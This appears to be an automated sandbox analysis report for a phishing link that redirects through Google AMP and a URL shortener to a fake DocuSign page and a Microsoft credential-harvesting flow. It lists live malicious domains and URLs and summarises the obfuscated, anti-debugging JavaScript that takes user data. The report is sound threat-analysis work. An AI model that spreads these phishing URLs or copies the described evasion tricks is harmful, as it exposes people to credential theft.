Edit tour

Windows Analysis Report
https://www.google.com/amp/url.rw/6r6ns

Overview

General Information

Sample URL:	https://www.google.com/amp/url.rw/6r6ns
Analysis ID:	1590267
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

Detected non-DNS traffic on DNS port

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

Classification

Process Tree

System is w10x64

chrome.exe (PID: 4820 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5448 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=2008,i,667403360301153697,9405618956545446436,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6572 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.google.com/amp/url.rw/6r6ns" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://obz.bz/dkg0j9	Avira URL Cloud: Label: malware
Source: https://ujqgyqodot2l3kjhgmdl2kve0si349y51vpck7h7q5ci0uotp0qkp.sprocubseq.ru/62190608796284312sOlJKBEDVSFWZHAWGEBTDPCMQAITFOYRAAZFHNYTN	Avira URL Cloud: Label: malware

Phishing

AI detected phishing page

Source: https://socnpj.com.br/team-drive/Organization/privacy/index_.html

Joe Sandbox AI: Score: 7 Reasons: The brand 'DocuSign' is well-known and typically associated with the domain 'docusign.com'., The provided URL 'socnpj.com.br' does not match the legitimate domain for DocuSign., The URL 'socnpj.com.br' does not contain any recognizable elements related to DocuSign., The domain 'socnpj.com.br' is a Brazilian domain and does not align with the typical domain structure for DocuSign., The presence of an email input field suggests potential phishing, especially if the domain is unrelated to the brand. DOM: 1.0.pages.csv

AI detected landing page (webpage, office document or email)

Source: https://socnpj.com.br/team-drive/Organization/privacy/index_.html

Joe Sandbox AI: Page contains button: 'Open Cloud Document' Source: '1.0.pages.csv'

AI detected suspicious Javascript

Source: 0.4.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://8zkl.gratzeware.ru/7axa6RvO/#Axjuvy3s@eei.... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The script collects user data and sends it to an unknown domain, and it also redirects the user to a Microsoft login page, which is likely a phishing attempt. Overall, the script demonstrates malicious intent and poses a significant security risk.
Source: 0.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://8zkl.gratzeware.ru/7axa6RvO/#Axjuvy3s@eei.... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of anti-debugging techniques further increase the risk. Overall, this script demonstrates a high likelihood of malicious intent and should be treated with caution.
Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://visaoxprodutora.com.br/success/index.html#... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to a suspicious domain. The script extracts an email parameter from the URL and then redirects the user to a potentially malicious domain, which is a common technique used in phishing attacks. The combination of these behaviors strongly suggests that this script is designed for malicious purposes and should be considered a high-risk threat.
Source: 0.3.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://8zkl.gratzeware.ru/7axa6RvO/#Axjuvy3s@eei.... This script exhibits several high-risk behaviors, including disabling developer tools, preventing right-click context menus, and redirecting the user to a suspicious domain (login.microsoftonline.com). The script also uses obfuscated code and a setInterval loop with a debugger statement, which could be used to detect and evade security measures. These behaviors strongly indicate malicious intent, likely for the purpose of phishing or other malicious activities.

Source: https://socnpj.com.br/team-drive/Organization/privacy/index_.html	HTTP Parser: Number of links: 0
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638723962573019439.NzIyYTg1YjQtNTdiMC00NDg0LWI1NTEtYTM5MmFiMjFkMThlZGQ5OGU5NTYtYjQ3Ny00NmFhLTk2YTYtOWQ0MzEyMjZmYzBh&ui_locales=en-US&mkt=en-US&client-request-id=2947d9f3-c8a7-40df-abb6-033051ca8256&state=coEZ89Dc1bZjkY0D2KRA5GnpuMAfedAq74KVeQ-lDAoyoKplmoxyi4rLhGdu4S9oe58ncN31KA0D3oFTQJyeaSKSC6YelbN5FSWxUzuLw8q34DYKfPk7oQABw49cQYboas6d-3KX3geKbedt1rk9Kx7Vht0nny26PfprsDKihkWmkFFn_tuNAhigLW654os0Ph7_kCmdoiSzo6u8OVNSe5l5KG7v95TP7b-1PCecYy7MXD2pBogXuvAivYsEX4LNoeT6reFefc2XoXcxj3v5Hw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Number of links: 0
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638723962573019439.NzIyYTg1YjQtNTdiMC00NDg0LWI1NTEtYTM5MmFiMjFkMThlZGQ5OGU5NTYtYjQ3Ny00NmFhLTk2YTYtOWQ0MzEyMjZmYzBh&ui_locales=en-US&mkt=en-US&client-request-id=2947d9f3-c8a7-40df-abb6-033051ca8256&state=coEZ89Dc1bZjkY0D2KRA5GnpuMAfedAq74KVeQ-lDAoyoKplmoxyi4rLhGdu4S9oe58ncN31KA0D3oFTQJyeaSKSC6YelbN5FSWxUzuLw8q34DYKfPk7oQABw49cQYboas6d-3KX3geKbedt1rk9Kx7Vht0nny26PfprsDKihkWmkFFn_tuNAhigLW654os0Ph7_kCmdoiSzo6u8OVNSe5l5KG7v95TP7b-1PCecYy7MXD2pBogXuvAivYsEX4LNoeT6reFefc2XoXcxj3v5Hw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Number of links: 0

Source: https://socnpj.com.br/team-drive/Organization/privacy/index_.html

HTTP Parser: Base64 decoded: document.getElementById('continue-button').addEventListener('click', function() { continueLoading(); }); document.getElementById('thesupwillsupintimeofneeds-input').addEventListener('keydown', function(event) { if (event.key ...

Source: https://socnpj.com.br/team-drive/Organization/privacy/index_.html	HTTP Parser: Title: Verification Defender Associate does not match URL
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638723962573019439.NzIyYTg1YjQtNTdiMC00NDg0LWI1NTEtYTM5MmFiMjFkMThlZGQ5OGU5NTYtYjQ3Ny00NmFhLTk2YTYtOWQ0MzEyMjZmYzBh&ui_locales=en-US&mkt=en-US&client-request-id=2947d9f3-c8a7-40df-abb6-033051ca8256&state=coEZ89Dc1bZjkY0D2KRA5GnpuMAfedAq74KVeQ-lDAoyoKplmoxyi4rLhGdu4S9oe58ncN31KA0D3oFTQJyeaSKSC6YelbN5FSWxUzuLw8q34DYKfPk7oQABw49cQYboas6d-3KX3geKbedt1rk9Kx7Vht0nny26PfprsDKihkWmkFFn_tuNAhigLW654os0Ph7_kCmdoiSzo6u8OVNSe5l5KG7v95TP7b-1PCecYy7MXD2pBogXuvAivYsEX4LNoeT6reFefc2XoXcxj3v5Hw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Title: Redirecting does not match URL
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638723962573019439.NzIyYTg1YjQtNTdiMC00NDg0LWI1NTEtYTM5MmFiMjFkMThlZGQ5OGU5NTYtYjQ3Ny00NmFhLTk2YTYtOWQ0MzEyMjZmYzBh&ui_locales=en-US&mkt=en-US&client-request-id=2947d9f3-c8a7-40df-abb6-033051ca8256&state=coEZ89Dc1bZjkY0D2KRA5GnpuMAfedAq74KVeQ-lDAoyoKplmoxyi4rLhGdu4S9oe58ncN31KA0D3oFTQJyeaSKSC6YelbN5FSWxUzuLw8q34DYKfPk7oQABw49cQYboas6d-3KX3geKbedt1rk9Kx7Vht0nny26PfprsDKihkWmkFFn_tuNAhigLW654os0Ph7_kCmdoiSzo6u8OVNSe5l5KG7v95TP7b-1PCecYy7MXD2pBogXuvAivYsEX4LNoeT6reFefc2XoXcxj3v5Hw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Title: Sign in to your account does not match URL

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638723962573019439.NzIyYTg1YjQtNTdiMC00NDg0LWI1NTEtYTM5MmFiMjFkMThlZGQ5OGU5NTYtYjQ3Ny00NmFhLTk2YTYtOWQ0MzEyMjZmYzBh&ui_locales=en-US&mkt=en-US&client-request-id=2947d9f3-c8a7-40df-abb6-033051ca8256&state=coEZ89Dc1bZjkY0D2KRA5GnpuMAfedAq74KVeQ-lDAoyoKplmoxyi4rLhGdu4S9oe58ncN31KA0D3oFTQJyeaSKSC6YelbN5FSWxUzuLw8q34DYKfPk7oQABw49cQYboas6d-3KX3geKbedt1rk9Kx7Vht0nny26PfprsDKihkWmkFFn_tuNAhigLW654os0Ph7_kCmdoiSzo6u8OVNSe5l5KG7v95TP7b-1PCecYy7MXD2pBogXuvAivYsEX4LNoeT6reFefc2XoXcxj3v5Hw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true

HTTP Parser: <input type="password" .../> found

Source: https://8zkl.gratzeware.ru/7axa6RvO/#Axjuvy3s@eei.net	HTTP Parser: No favicon
Source: https://8zkl.gratzeware.ru/7axa6RvO/#Axjuvy3s@eei.net	HTTP Parser: No favicon
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638723962573019439.NzIyYTg1YjQtNTdiMC00NDg0LWI1NTEtYTM5MmFiMjFkMThlZGQ5OGU5NTYtYjQ3Ny00NmFhLTk2YTYtOWQ0MzEyMjZmYzBh&ui_locales=en-US&mkt=en-US&client-request-id=2947d9f3-c8a7-40df-abb6-033051ca8256&state=coEZ89Dc1bZjkY0D2KRA5GnpuMAfedAq74KVeQ-lDAoyoKplmoxyi4rLhGdu4S9oe58ncN31KA0D3oFTQJyeaSKSC6YelbN5FSWxUzuLw8q34DYKfPk7oQABw49cQYboas6d-3KX3geKbedt1rk9Kx7Vht0nny26PfprsDKihkWmkFFn_tuNAhigLW654os0Ph7_kCmdoiSzo6u8OVNSe5l5KG7v95TP7b-1PCecYy7MXD2pBogXuvAivYsEX4LNoeT6reFefc2XoXcxj3v5Hw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No favicon

Source: https://socnpj.com.br/team-drive/Organization/privacy/index_.html	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638723962573019439.NzIyYTg1YjQtNTdiMC00NDg0LWI1NTEtYTM5MmFiMjFkMThlZGQ5OGU5NTYtYjQ3Ny00NmFhLTk2YTYtOWQ0MzEyMjZmYzBh&ui_locales=en-US&mkt=en-US&client-request-id=2947d9f3-c8a7-40df-abb6-033051ca8256&state=coEZ89Dc1bZjkY0D2KRA5GnpuMAfedAq74KVeQ-lDAoyoKplmoxyi4rLhGdu4S9oe58ncN31KA0D3oFTQJyeaSKSC6YelbN5FSWxUzuLw8q34DYKfPk7oQABw49cQYboas6d-3KX3geKbedt1rk9Kx7Vht0nny26PfprsDKihkWmkFFn_tuNAhigLW654os0Ph7_kCmdoiSzo6u8OVNSe5l5KG7v95TP7b-1PCecYy7MXD2pBogXuvAivYsEX4LNoeT6reFefc2XoXcxj3v5Hw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638723962573019439.NzIyYTg1YjQtNTdiMC00NDg0LWI1NTEtYTM5MmFiMjFkMThlZGQ5OGU5NTYtYjQ3Ny00NmFhLTk2YTYtOWQ0MzEyMjZmYzBh&ui_locales=en-US&mkt=en-US&client-request-id=2947d9f3-c8a7-40df-abb6-033051ca8256&state=coEZ89Dc1bZjkY0D2KRA5GnpuMAfedAq74KVeQ-lDAoyoKplmoxyi4rLhGdu4S9oe58ncN31KA0D3oFTQJyeaSKSC6YelbN5FSWxUzuLw8q34DYKfPk7oQABw49cQYboas6d-3KX3geKbedt1rk9Kx7Vht0nny26PfprsDKihkWmkFFn_tuNAhigLW654os0Ph7_kCmdoiSzo6u8OVNSe5l5KG7v95TP7b-1PCecYy7MXD2pBogXuvAivYsEX4LNoeT6reFefc2XoXcxj3v5Hw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638723962573019439.NzIyYTg1YjQtNTdiMC00NDg0LWI1NTEtYTM5MmFiMjFkMThlZGQ5OGU5NTYtYjQ3Ny00NmFhLTk2YTYtOWQ0MzEyMjZmYzBh&ui_locales=en-US&mkt=en-US&client-request-id=2947d9f3-c8a7-40df-abb6-033051ca8256&state=coEZ89Dc1bZjkY0D2KRA5GnpuMAfedAq74KVeQ-lDAoyoKplmoxyi4rLhGdu4S9oe58ncN31KA0D3oFTQJyeaSKSC6YelbN5FSWxUzuLw8q34DYKfPk7oQABw49cQYboas6d-3KX3geKbedt1rk9Kx7Vht0nny26PfprsDKihkWmkFFn_tuNAhigLW654os0Ph7_kCmdoiSzo6u8OVNSe5l5KG7v95TP7b-1PCecYy7MXD2pBogXuvAivYsEX4LNoeT6reFefc2XoXcxj3v5Hw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638723962573019439.NzIyYTg1YjQtNTdiMC00NDg0LWI1NTEtYTM5MmFiMjFkMThlZGQ5OGU5NTYtYjQ3Ny00NmFhLTk2YTYtOWQ0MzEyMjZmYzBh&ui_locales=en-US&mkt=en-US&client-request-id=2947d9f3-c8a7-40df-abb6-033051ca8256&state=coEZ89Dc1bZjkY0D2KRA5GnpuMAfedAq74KVeQ-lDAoyoKplmoxyi4rLhGdu4S9oe58ncN31KA0D3oFTQJyeaSKSC6YelbN5FSWxUzuLw8q34DYKfPk7oQABw49cQYboas6d-3KX3geKbedt1rk9Kx7Vht0nny26PfprsDKihkWmkFFn_tuNAhigLW654os0Ph7_kCmdoiSzo6u8OVNSe5l5KG7v95TP7b-1PCecYy7MXD2pBogXuvAivYsEX4LNoeT6reFefc2XoXcxj3v5Hw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found

Source: https://socnpj.com.br/team-drive/Organization/privacy/index_.html	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638723962573019439.NzIyYTg1YjQtNTdiMC00NDg0LWI1NTEtYTM5MmFiMjFkMThlZGQ5OGU5NTYtYjQ3Ny00NmFhLTk2YTYtOWQ0MzEyMjZmYzBh&ui_locales=en-US&mkt=en-US&client-request-id=2947d9f3-c8a7-40df-abb6-033051ca8256&state=coEZ89Dc1bZjkY0D2KRA5GnpuMAfedAq74KVeQ-lDAoyoKplmoxyi4rLhGdu4S9oe58ncN31KA0D3oFTQJyeaSKSC6YelbN5FSWxUzuLw8q34DYKfPk7oQABw49cQYboas6d-3KX3geKbedt1rk9Kx7Vht0nny26PfprsDKihkWmkFFn_tuNAhigLW654os0Ph7_kCmdoiSzo6u8OVNSe5l5KG7v95TP7b-1PCecYy7MXD2pBogXuvAivYsEX4LNoeT6reFefc2XoXcxj3v5Hw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638723962573019439.NzIyYTg1YjQtNTdiMC00NDg0LWI1NTEtYTM5MmFiMjFkMThlZGQ5OGU5NTYtYjQ3Ny00NmFhLTk2YTYtOWQ0MzEyMjZmYzBh&ui_locales=en-US&mkt=en-US&client-request-id=2947d9f3-c8a7-40df-abb6-033051ca8256&state=coEZ89Dc1bZjkY0D2KRA5GnpuMAfedAq74KVeQ-lDAoyoKplmoxyi4rLhGdu4S9oe58ncN31KA0D3oFTQJyeaSKSC6YelbN5FSWxUzuLw8q34DYKfPk7oQABw49cQYboas6d-3KX3geKbedt1rk9Kx7Vht0nny26PfprsDKihkWmkFFn_tuNAhigLW654os0Ph7_kCmdoiSzo6u8OVNSe5l5KG7v95TP7b-1PCecYy7MXD2pBogXuvAivYsEX4LNoeT6reFefc2XoXcxj3v5Hw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638723962573019439.NzIyYTg1YjQtNTdiMC00NDg0LWI1NTEtYTM5MmFiMjFkMThlZGQ5OGU5NTYtYjQ3Ny00NmFhLTk2YTYtOWQ0MzEyMjZmYzBh&ui_locales=en-US&mkt=en-US&client-request-id=2947d9f3-c8a7-40df-abb6-033051ca8256&state=coEZ89Dc1bZjkY0D2KRA5GnpuMAfedAq74KVeQ-lDAoyoKplmoxyi4rLhGdu4S9oe58ncN31KA0D3oFTQJyeaSKSC6YelbN5FSWxUzuLw8q34DYKfPk7oQABw49cQYboas6d-3KX3geKbedt1rk9Kx7Vht0nny26PfprsDKihkWmkFFn_tuNAhigLW654os0Ph7_kCmdoiSzo6u8OVNSe5l5KG7v95TP7b-1PCecYy7MXD2pBogXuvAivYsEX4LNoeT6reFefc2XoXcxj3v5Hw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638723962573019439.NzIyYTg1YjQtNTdiMC00NDg0LWI1NTEtYTM5MmFiMjFkMThlZGQ5OGU5NTYtYjQ3Ny00NmFhLTk2YTYtOWQ0MzEyMjZmYzBh&ui_locales=en-US&mkt=en-US&client-request-id=2947d9f3-c8a7-40df-abb6-033051ca8256&state=coEZ89Dc1bZjkY0D2KRA5GnpuMAfedAq74KVeQ-lDAoyoKplmoxyi4rLhGdu4S9oe58ncN31KA0D3oFTQJyeaSKSC6YelbN5FSWxUzuLw8q34DYKfPk7oQABw49cQYboas6d-3KX3geKbedt1rk9Kx7Vht0nny26PfprsDKihkWmkFFn_tuNAhigLW654os0Ph7_kCmdoiSzo6u8OVNSe5l5KG7v95TP7b-1PCecYy7MXD2pBogXuvAivYsEX4LNoeT6reFefc2XoXcxj3v5Hw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found

Source: global traffic

TCP traffic: 192.168.2.4:62486 -> 1.1.1.1:53

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: www.google.com to http://url.rw/6r6ns

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.18
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.18
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /amp/url.rw/6r6ns HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /6r6ns HTTP/1.1Host: url.rwConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /team-drive/Organization/privacy/index_.html HTTP/1.1Host: socnpj.com.brConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /team-drive/Organization/privacy/supply.jpg HTTP/1.1Host: socnpj.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://socnpj.com.br/team-drive/Organization/privacy/index_.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
